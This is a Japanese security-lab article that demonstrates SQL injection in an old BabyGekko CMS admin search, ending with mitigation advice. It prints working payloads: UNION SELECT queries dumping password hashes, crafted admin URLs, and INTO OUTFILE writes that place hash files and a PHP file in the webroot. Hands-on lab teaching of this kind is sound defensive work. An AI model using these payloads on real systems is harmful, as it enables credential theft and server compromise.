これでようやくBabyGekkoのインストールが終了した。もちろんこれをCMSとして使うこともできるが、本稿ではそこには触れない。そもそも脆弱性があるので、絶対にこれを実運用で使用してはいけない。
ここから実験を開始するが、まず最初に、BabyGekkoに管理者としてログインしてほしい。ブラウザの種別は何でもいい。ログインすると管理者メニューが表示されるだろう。さて、このBabyGekkoの管理者メニューには怪しいところがある。お分かりだろうか?
最も簡単に分かるのは、メニューの「users」をクリックし、検索窓にシングルクオーテーションを入力してEnterキーを押すとSQLエラーがポップアップされるというところだ。これだけでは簡単にSQLインジェクション脆弱性だとは言い切れないものの、かなり怪しい。この部分について詳細に見ていくことにする。
ポップアップされたダイアログには、ご親切にも実行に失敗したSQLが表示されている。これを見ていくと、どうやらシングルクオーテーションがエスケープされていないようだ。もしかするとSQLが実行できるかもしれない。
Gekko Data Error :Gekko DB SQL Error running SELECT id,username,date_created,date_modified,date_last_logged_in,status,ip,date_last_failed_login_attempt,total_failed_login_attempt FROM gk_user_items WHERE (username LIKE '%'%') OR (firstname LIKE ''%') OR (lastname LIKE ''%') order by sort_order. Could not run query: SELECT id,username,date_created,date_modified,date_last_logged_in,status,ip,date_last_failed_login_attempt,total_failed_login_attempt FROM gk_user_items WHERE (username LIKE '%'%') OR (firstname LIKE ''%') OR (lastname LIKE ''%') order by sort_order Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%') OR (firstname LIKE ''%') OR (lastname LIKE ''%') order by sort_order' at line 1
とりあえず、最初のSQL文に着目してみると以下のようになっている。
SELECT id,username,date_created,date_modified,date_last_logged_in,status,ip,date_last_failed_login_attempt,total_failed_login_attempt FROM gk_user_items WHERE (username LIKE '%'%') OR (firstname LIKE ''%') OR (lastname LIKE ''%') order by sort_order.
どうやら、'の後ろにunionをつなげることでデータベースからデータを取り出せそうだ。SELECT文で取り出されている項目は全部で9つなので、件数を合わせて以下のような文で検索を行ってみる。
')union select 1,2,3,4,5,6,7,8,9; --
すると、エラーは表示されず、代わりにデフォルトで作成されているadminや一般ユーザー以外の「3人目のユーザー」が表示される。どうやら外部からSQLの実行は可能なようだ。
試しに、先ほどポップアップされたSQLをちょっと変更して
')union select id,password,date_created,date_modified,date_last_logged_in,status,ip,date_last_failed_login_attempt,total_failed_login_attempt FROM gk_user_items; --
のような文章で検索すると、登録されているユーザーのパスワードハッシュが表示される。
これまでの結果により、このページにSQLインジェクション脆弱性があることが分かったが、これだけでは脅威とはなり得ない。なぜならばこのページには、管理者権限を持ったユーザーしかアクセスできないからだ。管理者ならば、自身の権限でデータベースの管理が行えるのは当たり前のことだ。
ここで、攻撃者が外部から攻撃を行うために考えられる方法がある。管理者にSQLインジェクションを行うためのURLを送り、自らそこにアクセスしてもらうことだ。
しかしながら、この方法をとって検索フォームに文字列を入力しても、ページの遷移が起こっているわけではない。どうしたものか。
通信内容をのぞいてみると、このページはAjaxを使用している。表向きはあまり画面遷移がないように見えるのだが、その裏ではユーザーが操作するたびにせわしなくリクエストが動いていることが分かった。
検索の際にアクセスするURLは、以下のようになっていた。
http://[サーバのIPアドレス]/gekkocms/admin/index.php?app=users&ajax=1&action=search&keyword=
ここにアクセスすると、生のJSONデータが返ってくることが分かるだろう。このURLのパラメータのうち、「keyword」が検索語だ。最初に行った検索をURLに貼り付けると以下のようになる。
http://[サーバのIPアドレス]/gekkocms/admin/index.php?app=users&ajax=1&action=search&keyword=')union%20select%201,2,3,4,5,6,7,8,9;%20--%20
このURLにアクセスすると「1,2,3,4,5,6,7,8,9」を含むデータが返ってくる。同様に以下のURLでも、先ほどと同様に、パスワードを含んだデータが返ってくる。
http://[サーバのIPアドレス]/gekkocms/admin/index.php?app=users&ajax=1&action=search&keyword=')union select id,password,date_created,date_modified,date_last_logged_in,status,ip,date_last_failed_login_attempt,total_failed_login_attempt FROM gk_user_items; --%20
URLにアクセスするだけでパスワードが返ってくるようになり、攻撃者にとってはめでたい(つまり管理者としては頭の痛い)状況だ。だがこれでも、データは管理者の目の前の画面に表示されるだけで、攻撃者のところにデータが飛んでいくわけではない。
そこでこの実験では、SQLインジェクションを使った攻撃でよく使われる「INTO OUTFILE構文」を使用することにする。先ほどgekkocmsフォルダに書き込み権限を付けたり、データベースのユーザーにFILEの権限を付与したのは、ここに到る伏線だったのだ。
「権限を付与しない限り攻撃できないならば、脆弱性とはいえないじゃないか」という人もいると思うが、CMSでは、CSVなどでログを書き出すために、ユーザーにもファイル操作権限が付与されていることが意外に多い。またWindowsの場合、フォルダのパーミッションはデフォルトですべて書き込み可能だったりする。なので、管理者しかアクセスできないところにあるSQLインジェクション脆弱性であっても、安心は禁物だ。
またこの出力は特にエスケープされていないので、XSS脆弱性も内包している。直接ファイルに書き出せない場合は、XSSを組み合わせて外部へデータを送信することも可能となるだろう。決して「脆弱性といえない」わけではないのだ。
ということで、以下のようなURLを使うと、先ほど読み込んだデータがtest1.txtという名前でファイルに書き出される。
http://[サーバのIPアドレス]/gekkocms/admin/index.php?app=users&ajax=1&action=search&keyword=')union select id,password,date_created,date_modified,date_last_logged_in,status,ip,date_last_failed_login_attempt,total_failed_login_attempt FROM gk_user_items INTO OUTFILE '/opt/lampp/htdocs/gekkocms/test1.txt'%20--%20
http://[サーバのIPアドレス]/gekkocms/test1.txt
にアクセスすると、すべてのユーザーがあまねくadminのパスワードハッシュをのぞき見できてしまう。
INTO DUMPFILEという命令で、データベースの中身をすべてダンプさせることも可能だ。また、他にも任意の文字列を書き出すことが可能なので、例えば、
<?php phpinfo() ?>
という文字列をtest1.phpなどのファイル名で書き出すようにすれば、phpの実行ファイルまで作成可能となる。
http://[サーバのIPアドレス]/gekkocms/admin/index.php?app=users&ajax=1&action=search&keyword=')union select 1,2,3,4,5,6,7,8,%27%3C?%20phpinfo%28%29;%20?%3E%27%20INTO OUTFILE '/opt/lampp/htdocs/gekkocms/test1.php'%20--%20
このようにSQLインジェクション脆弱性はデータを読み込むだけでなく、プログラムを送り込むこともでき、非常に危険だということがお分かりいただけただろうか。
このように、CMSによってはSQLインジェクション脆弱性が内包されているものもある。そうしたCMS(特に、古いバージョンのCMS)を使わないようにするのが第一だが、保険的対策として、フォルダのパーミッションやユーザーの権限などは最小限にすることで、もし使用しているCMSに脆弱性があった場合でも、被害を最小限に食い止めることができるだろう。
また攻撃は、たいていは誰かによって脆弱性が公表された後(情報が公表されるのは修正後がほとんどである)に行われるので、バージョンアップ情報をまめに確認することも、被害に遭わないためには大切だといえる。
なおこのBabyGekkoには、本稿で説明したもの以外にも脆弱性がある。詳細についてはhttps://www.htbridge.com/advisory/HTB23122を参照していただきたい。
山本洋介山
猫と一緒に自宅の警備をする傍ら、「twitterセキュリティネタまとめ」というブログを日々更新しているtwitterウォッチャー。セキュリティやネットワークに関する原稿も書いてます。
Copyright © ITmedia, Inc. All Rights Reserved.